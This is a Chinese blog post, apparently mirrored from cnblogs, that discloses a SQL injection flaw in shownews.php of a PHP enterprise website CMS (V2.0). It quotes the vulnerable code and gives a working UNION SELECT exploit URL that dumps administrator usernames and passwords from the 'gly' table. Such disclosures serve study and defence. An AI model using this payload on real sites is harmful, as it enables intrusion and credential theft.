zoukankan      html  css  js  c++  java
  • 【php】随缘php企业网站管理系统V2.0 shownews.php注入漏洞

    程序名称:随缘网络php企业网站管理系统2.0免费版

    以下为系统的功能简介:

    1、采用div+css布局经测试兼容IE及firefox主流浏览器,其他浏览器暂未测试。

    2、产品新闻三级无限分类。

    3、后台可设置诸如管理员帐号密码,网站标题,网站底部版权等信息。

    4、后台采用最新版xhEditor编辑器,xhEditor是一个基于jQuery开发的跨平台开源迷你XHTML编辑器组件。

    5、后台图片栏目可以对相关的幻灯,友情链接,logo,banner等进行修改设置。

    5、后台可批量删除产品新闻。

    漏洞文件 shownews.php,以下是程序部分代码:

    <?php 
    include_once("wzdy.php");
    if(isset($_GET['id']))   //检测id变量是否设置
    {
        $id=$_GET["id"];
    }
       else{
              echo "<script language='javascript'>"; 
              echo "alert('请输入正确ID!');";
              echo " location='index.php';"; 
              echo "</script>";
              exit;    
    }
        $sql4="select * from news where id=$id";   //未经过滤将id变量直接带入sql查询语句中,输出到$sql4变量中
        $result4=mysql_query($sql4);               //将$sql4变量赋值到$result4变量中
        if($nums=mysql_num_rows($result4))         //返回$result4变量结果,意味着$title变量,$content变量会显示出我们构造的恶意注入语句结果
        {
               $rs4=mysql_fetch_array($result4);   
               $title=$rs4["title"];
               $content=$rs4["content"];
               $hits=$rs4["hits"];
     $fbsj=date("Y-m-d",strtotime($rs4['fbsj']));
     $sql="update news set hits=hits+1 where id=$id";
     mysql_query($sql);
     }
     else
     {
    echo "<script language='javascript'>"; 
    echo "alert('请输入正确ID!');";
    echo " location='index.php';"; 
    echo "</script>";
    exit;        
     }
    ?>


    漏洞exp:

    http://192.168.1.5/websitetempeltest/qywphp2/shownews.php?id=5 and 1=2 UNION SELECT 1,2,unhex(hex(concat(0x5e5e5e,username,0x7c,password,0x5e5e5e))),4,5,6,7 from gly
  • 相关阅读:
    【Python】自己写日志功能
    shell 笔记
    python 字典,字典嵌套,字典遍历
    python基础 循环,列表,切片,列表增删改查
    Dva_react使用问题总结
    ts_react_test报错解决方法
    如何写好项目规划和方案设计文档 (转)
    script标签引入react环境三个必须cdn文件
    react点击事件对象( react封装过后事件对象 )
    react简书笔记一 环境, git 和 项目 关联
  • 原文地址:https://www.cnblogs.com/17bdw/p/3928239.html
Copyright © 2011-2022 走看看